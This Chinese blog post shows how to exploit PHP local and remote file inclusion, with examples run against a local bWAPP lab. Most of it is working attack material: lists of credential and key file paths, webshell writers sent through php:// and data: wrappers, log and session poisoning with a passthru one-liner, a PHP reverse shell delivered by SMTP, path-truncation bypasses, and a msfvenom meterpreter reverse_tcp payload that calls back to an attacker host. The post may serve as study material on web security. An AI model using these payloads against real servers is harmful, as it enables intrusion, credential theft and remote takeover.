php 包含利用小记 [ RFI / LFI ]

0x01 下面是常用的一些php包含函数,没列完,详细用法大家还是自己看手册吧,上面说的比较详细:

1
2
3
4
5
6
7
inluce()
inluce_once()
require()
require_once()
fopen()
readfile()
……

0x02 php本地包含简单利用过程[LFI]:

1), 搜集各种目标服务器的各种敏感路径,后面可能会利用到这些,这里写的不全,有整理好的fuzzdb,大家可以参考那个:

win 各类敏感文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\Repair\SAM
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
c:\php\php.ini
c:\php5\php.ini
c:\php4\php.ini
c:\apache\php\php.ini
c:\xampp\apache\bin\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log

linux 各类敏感路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/var/log/apache2/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/error_log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/access_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

高权限的情况下,可以先顺便看看目标系统的各类系统配置文件,说不定在这里就已经有收获了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/environ
c:\WINDOWS\TEMP\
c:\php\sessions\
c:\php5\sessions\
c:\php4\sessions\
/etc/issue
/etc/motd
/etc/passwd
/etc/group
/etc/resolv.conf
/etc/shadow
.htaccess
config.php
authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts
.bash_history
.mysql_history
.my.cnf

2),选择要包含的对象:

普通权限下的包含:

利用php的各种伪协议[主要是控制文件流输出即写文件,可能你还要对你所要写的那个目录有写权限才行] ,利用条件[这些信息全部可以在phpinfo中看到]:

1
2
小于5.0 即使allow_url_include=Off 可用
大于5.0 只有allow_url_fopen=on才能用



利用 php://input 写shell

1
2
http://192.168.3.10/bWAPP/rlfi.php?language=php://input&action=go
POST: <?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["request"]);$sl();?>') ?>


利用 data: 写shell

1
2
<?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["sec"]);$sl();?>') ?> 编码前的webshell
http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain,<?php fputs(fopen("infos.php","a"),'<?php $sl = create_function("", @$_REQUEST["klionsec"]);$sl();?>') ?>&action=go


1
http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oIkhFTFBTLnBocCIsImEiKSwnPD9waHAgJHNsID0gY3JlYXRlX2Z1bmN0aW9uKCIiLCBAJF9SRVFVRVNUWyJzZWMiXSk7JHNsKCk7Pz4nKSA/Pg==&action=go


利用 php://filter 读取目标敏感文件 [可以是相对,绝对和远程路径{ftp,http}]

1
http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/resource=./admin/settings.php&action=go 最好不要用这个,貌似不能写,读不出来

1
2
把读出来的内容base64解码一下,就可以看到明文内容了
http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/convert.base64-encode/resource=./admin/settings.php&action=go

利用 zip:// 传shell

1
http://192.168.3.10/bWAPP/rlfi.php?language=zip://./options.zip%23options&action=go 这里的#务必要转成url编码后的%23,自己本地测时候不太靠谱

利用 phar:// 原理同上

1
http://192.168.3.10/bWAPP/rlfi.php?language=phar://./ex.phar%23ex&action=go 也不太好使

利用 expect://ls 可直接执行系统命令,自己多次尝试并未成功,且默认该模块是没有启用的

尝试把一句话放到user-agent或者请求里面 [注意编码,用burp拦下改过来或者直接用nc就好了],然后想办法去包含目标的web访问日志文件
前提是你要找到这些日志文件的物理路径才行],另外,还有一点需要说明下,对于一些正常企业的web服务器来讲,他们的日志一般都是按日期切割保存的,即使被你侥幸猜到了访问日志的文件名,但单个日志文件也仍然是比较大的,显然,这时再去包含日志就很不明智了
说这个,并不是想说这种方法不管用,实际渗透你要按你自己目标的实际情况来,对了,顺便再补充一句,虽然,访问日志的文件很大,但你还可以包含错误日志呀

1
2
3
4
5
6
# nc 192.168.3.10 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 这里不一定非要用一句话,你还是尝试把它直接换成一个上传表单或者直接从远程下载webshell也是可以的
Host: 192.168.3.10
Connection: close
http://192.168.3.10/bWAPP/rlfi.php?language=/var/log/apache2/access.log&action=go&cmd=w


跟包含日志差不你也可以把一句话放到user-agent中然后包含/proc/self/environ这个系统环境变量,用法同上,不再赘述

尝试包含服务端的session文件,想要包含session,你务必要先确定这个session的文件名,不出意外的情况下,这个session文件名应该是PHPSESSID加上’sess_’前缀,一般会被放到下面的这里目录中,另外,利用的时候动作务必要快,因为一个session 如果长时间没动作,很快就会被回收[php自身的垃圾回收机制]

1
2
3
4
5
可能存放session的一些目录:
/var/lib/php5/
/var/lib/php/
/tmp/
……

session 内容一般都是类似下面的这种形式,不过前提是你要能控制这段session才行:

1
2
login|s:3:"bee";admin|s:1:"1";token|s:40:"c0c7fa8b6d373ad173fe7d99019a183d3bd3d888";amount|i:1000;
http://192.168.3.10/bWAPP/rlfi.php?language=/var/lib/php5/sess_b449542fdbd76c4e860e6ea34a3c46a2&action=go&cmd=id

包含自己上传到目标机器的的其他文件 [如,图片马(不一定非要用真正的图片马,如果验证不是很严,随便一个shell改下后缀就好了),txt,附件……]

1
http://192.168.3.10/bWAPP/rlfi.php?language=/var/www/shell.jpg&action=go&cmd=id

通过目标邮件来反弹shell [实际渗透中暂时还没尝试过,本地也未成功,后期搞清楚问题在哪里,再更新上来]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# smtp-user-enum -M VRFY -U /home/weak_wordlist/userall.txt -t 192.168.3.10 先来枚举下目标系统有哪些用户
# telnet 192.168.3.10 25
HELO localhost
mail from:<root>
rcpt to:<www-data>
data
<?php
set_time_limit(0);
$VERSION = "1.0";
$ip = "192.168.3.9";
$port = 80;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

配合phpinfo来包含,其实也是包含临时文件的一种方法,可惜没有成功,初步估计是脚本的问题,后期手工再试试,成功以后会把过程再更新上来

0x03 包含时经常会遇到的一些问题

1
%00 ? 后面拼接有多余的后缀,可利用各种空字节来尝试截断,当然啦,转义开关肯能需要关上, php小于 5.3.4可行

尝试超长路径截断,在正常的路径后面跟上超长字符,可用.小于5.2.8,如下:

1
2
3
/var/log/apache2/error.log.........................................................................................
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error.log
/var/log/apache2/error.log/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

有时候可能会有过滤路径分隔符的问题,可以尝试用%2F代替

如果后端是类似白名单的检查,就不太好过了,正在学习中……希望表哥们能多多提携

问题其实还有很多很多,正在学习中,待续……

0x04 php远程包含[RFI]:

1
2
3
利用条件:
allow_url_fopen=On
allow_url_include=On

简要利用过程[基本同上,同样,如果是那种白名单的检查,想过还是比较难的]:

1
http://192.168.3.10/bWAPP/rlfi.php?language=http://192.168.3.9/phpinfoupload.html&action=go

0x05 最后,还有一个比较好用的利用方式,就是直接利用msf的php payload 弹回一个meterpreter的shell,有一个功能完备的shell这是我们所期望的:

先装个小工具,等会儿要用到

1
2
3
# apt-get install xclip -y
# alias pbcopy='xclip -selection clipboard'
# alias pbpaste='xclip -selection clipboard -o'

先用msf生成好php的payload,之后稍微处理下

1
2
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.9 LPORT=53 -f raw > shell.php
# cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

本地监听准备先准备好

1
2
3
4
5
6
# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.3.9
msf exploit(handler) > set lport 53
msf exploit(handler) > exploit -j

这时尝试包含我们msf的php shell,访问之后,shell顺利弹回,注意,这期间浏览器会一直处于阻塞状态,直到会话断开,粗略的看了一眼代码,应该是在用php循环的发socket,这个shell应该比菜刀的一句话强多了吧


后话:
    以后文章中的所有漏洞利用过程,尽量会全部在本地搭环境重现[其实,实际渗透跟这个也差不太远,主要是可能会出各种各样的问题,仅仅就差那个解决问题的过程没掌握到而已],公开的东西,用实例始终是不太好的,大家谅解哈,关于php包含实际渗透中能用到的,我自己所知道的可能就这些了,希望表哥们能把自己压箱底的家伙都共享出来,小弟好多多学习……